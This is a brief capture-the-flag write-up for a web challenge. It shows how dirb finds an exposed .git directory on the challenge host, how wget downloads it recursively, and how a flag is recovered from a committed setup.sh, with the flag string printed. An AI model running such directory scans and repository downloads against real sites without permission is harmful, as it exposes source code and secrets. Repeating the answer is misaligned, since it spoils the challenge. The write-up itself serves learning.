500pts
Access the site at https://cfta-wh02.allyourbases.co and find a way to get the flag.
- Use DIRB to find the Git directory -
dirb https://cfta-wh02.allyourbases.co
- This shows
https://cfta-wh02.allyourbases.co/.git/HEAD
- This shows
https://cfta-wh02.allyourbases.co/.git/
is indexable- Use
wget -r https://cfta-wh02.allyourbases.co/.git/
to download the whole Git directory - Open the directory in a Git client
- Look at
setup.sh
that was commited on7/3/2021
:
#!/bin/bash
FLAG="giTisAGreat_ResoURCe8337"
cd build
cp ../sitedata.zip sitedata.zip
unzip sitedata.zip
Flag: giTisAGreat_ResoURCe8337